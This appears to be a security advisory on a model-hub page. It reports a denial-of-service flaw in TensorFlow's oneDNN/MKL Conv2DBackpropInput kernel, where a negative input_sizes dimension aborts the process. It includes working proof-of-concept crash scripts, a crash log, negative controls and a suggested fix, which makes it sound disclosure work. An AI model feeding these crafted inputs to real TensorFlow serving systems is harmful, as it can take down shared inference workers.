You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Conv2DBackpropInput MKL kernel CHECK-fail (LOG(FATAL)/SIGABRT) on attacker-controlled negative input_sizes dimension

Summary

A negative dimension value in the runtime input_sizes tensor of Conv2DBackpropInput triggers an unconditional CHECK/LOG(FATAL) inside TensorFlow's oneDNN/MKL kernel MklConvCustomBackpropInputOp, calling abort() and terminating the entire host process (SIGABRT, exit 134). Because the failing value is read from a runtime tensor, it bypasses import-time shape inference and is reachable in a SavedModel / TF-Serving inference setting where the shape is derived from attacker-controlled input. The non-MKL fallback kernel validates the same value gracefully with OP_REQUIRES, which confirms the fault is specifically the MKL path's use of a bare CHECK.

Target

  • Package: tensorflow-cpu (default PyPI build)
  • Version: 2.21.0
  • Platform: CPU, Linux x86-64
  • Config: oneDNN custom ops ON (the default for the PyPI CPU wheel)
  • Op: tf.raw_ops.Conv2DBackpropInput

Root cause

With oneDNN custom ops enabled (default), Conv2DBackpropInput dispatches to the MKL kernel MklConvCustomBackpropInputOp. Its MakeInputTfShape builds the output shape from the runtime input_sizes tensor using tensor::MakeShape(...) wrapped in a bare TF_CHECK_OK / CHECK, not OP_REQUIRES_OK:

tensorflow/core/kernels/mkl/mkl_conv_grad_input_ops.cc:610

// MklConvCustomBackpropInputOp<...>::MakeInputTfShape(...)
TF_CHECK_OK(tensor::MakeShape(input_tensor, &input_tf_shape));
// expands to:
//   CHECK_OK( (::tsl::TfCheckOkDeprecationMarker(), tensor::MakeShape(...)) )
// On a non-OK status this calls LOG(FATAL) -> abort().

When input_sizes contains a negative dimension (e.g. -4), tensor::MakeShape returns INVALID_ARGUMENT("Dimension -4 must be >= 0"). The CHECK sees a non-OK status and calls LOG(FATAL) -> abort(), killing the whole process.

By contrast, the non-MKL fallback kernel validates the same value with OP_REQUIRES and returns a graceful InvalidArgumentError:

tensorflow/core/kernels/conv_grad_input_ops.h:475

OP_REQUIRES_OK(context, ...);  // graceful InvalidArgumentError, no abort

This asymmetry proves the DoS is specific to the MKL/oneDNN code path's use of an unconditional CHECK on attacker-controlled data.

Proof of Concept

1. Minimal eager repro (repro_min.py) β€” exit 134 (SIGABRT)

import faulthandler; faulthandler.enable()
import numpy as np, tensorflow as tf
r = tf.raw_ops.Conv2DBackpropInput(
    input_sizes=np.array([1, -4, 4, 1], np.int32),
    filter=np.zeros((2, 2, 1, 1), np.float32),
    out_backprop=np.zeros((1, 3, 3, 1), np.float32),
    strides=[1, 1, 1, 1], padding="VALID")
print("NO CRASH", np.asarray(r).shape)

2. SavedModel / serving threat model (gd_repro2.py) β€” exit 134 (SIGABRT)

A v1 graph where input_sizes is a runtime-fed placeholder (shape derived from attacker input at inference time). This bypasses import-time shape inference and aborts on session.run:

import numpy as np, tensorflow as tf
tf.compat.v1.disable_eager_execution()
isz = tf.compat.v1.placeholder(tf.int32, shape=[4], name="isz")
flt = tf.constant(np.zeros((2,2,1,1),np.float32))
obp = tf.constant(np.zeros((1,3,3,1),np.float32))
y = tf.raw_ops.Conv2DBackpropInput(input_sizes=isz, filter=flt, out_backprop=obp,
                                   strides=[1,1,1,1], padding="VALID")
with tf.compat.v1.Session() as s:
    out = s.run(y, feed_dict={isz: np.array([1,-4,4,1],np.int32)})
    print("NO CRASH", out.shape)

Negative controls

  • (a) Valid input_sizes (neg_control.py): input_sizes=[1,4,4,1] -> clean output shape (1,4,4,1), exit 0. Isolates the fault to the negative dim value.
  • (b) Non-MKL path: same negative-dim input with TF_ENABLE_ONEDNN_OPTS=0 -> graceful InvalidArgumentError: Dimension -4 must be >= 0, exit 0. Isolates the fault to the MKL/oneDNN kernel.

Captured evidence (verbatim)

F0000 00:00:1784216124.580879  487315 mkl_conv_grad_input_ops.cc:610] Check failed: (::tsl::TfCheckOkDeprecationMarker(), tensor::MakeShape(input_tensor, &input_tf_shape)) is OK (INVALID_ARGUMENT: Dimension -4 must be >= 0)
*** Check failure stack trace: ***
    @     0x7f159e336a62  tensorflow::MklConvCustomBackpropInputOp<>::MakeInputTfShape()
    @     0x7f159e333de1  tensorflow::MklConvCustomBackpropInputOp<>::Compute()
    @     0x7f15b178f300  tensorflow::ThreadPoolDevice::Compute()
Fatal Python error: Aborted

Result matrix:

eager repro (input_sizes=[1,-4,4,1])                  -> exit 134 (SIGABRT)
graph placeholder-fed repro (feed [1,-4,4,1])         -> exit 134 (SIGABRT)
neg control valid input_sizes=[1,4,4,1]               -> exit 0, shape (1,4,4,1)
oneDNN-OFF (TF_ENABLE_ONEDNN_OPTS=0) same neg input   -> InvalidArgumentError (graceful), exit 0

Impact

Denial of service. A crafted Conv2DBackpropInput node with an attacker-controlled input_sizes value (e.g. shape derived from request input in a served SavedModel) aborts the entire TensorFlow process via LOG(FATAL). In a multi-tenant / serving context this takes down the whole worker, not just the failing request. No graceful error handling is possible on the MKL path because the failure is an unconditional CHECK.

Suggested fix

Replace the TF_CHECK_OK(tensor::MakeShape(...)) at mkl_conv_grad_input_ops.cc:610 with OP_REQUIRES_OK(context, tensor::MakeShape(...)) (matching the non-MKL kernel at conv_grad_input_ops.h:475), so an invalid input_sizes value returns an InvalidArgumentError instead of aborting the process.

Dedup / prior art

The classic historical Conv2DBackpropInput CVEs (e.g. CVE-2021-29524, CVE-2020-15207 era) were fixed by adding OP_REQUIRES/shape validation on the standard kernel path. This report is distinct: the graceful validation exists and works on the non-MKL kernel (conv_grad_input_ops.h), but the oneDNN/MKL kernel (mkl_conv_grad_input_ops.cc) still uses a bare CHECK/TF_CHECK_OK on the same attacker-controlled input_sizes, and is the default path for the PyPI tensorflow-cpu CPU wheel (oneDNN custom ops ON). Verified reproducible on the current released TF 2.21.0 PyPI build.

Repro environment

  • tensorflow-cpu==2.21.0 (PyPI), CPU, Linux x86-64, oneDNN custom ops ON (default)
  • Repro files: repro_min.py, neg_control.py, gd_repro2.py
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support